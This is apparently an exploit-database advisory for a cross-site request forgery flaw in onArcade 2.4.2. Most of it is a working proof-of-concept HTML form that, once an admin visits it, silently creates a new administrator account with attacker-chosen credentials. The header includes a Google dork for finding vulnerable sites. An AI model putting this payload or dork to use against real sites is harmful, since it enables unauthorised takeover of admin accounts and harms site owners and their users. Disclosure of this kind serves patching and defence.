onArcade version 2.4.2 suffers from a cross site request forgery vulnerability.
54626ca3c318d64213981a9d8cc93fe8af457f70f998f7ee04637a2f570bfd1a
# Exploit Title: Cross-Site Request Forgery (Add Admin)
# Google Dork: Powered by onArcade v2.4.2
# Date: 2018/August/4
# Author: r3m0t3nu11[Zero-way]
# Software Link: ["http://www.onarcade.com"]
# Version: ["Uptodate"]
the appilication is vulnerable to CSRF attack (No CSRF token in place) meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering).
[P0C]#
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://vulnapp.com/path/admin/members.php?a=add_member&ajax=1"method="POST">
<input type="hidden" name="username" value="r3m0t3nu11" />
<input type="hidden" name="email" value="l0v3rs14@gmail.com"/>
<input type="hidden" name="password" value="123123" />
<input type="hidden" name="user_group" value="2" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>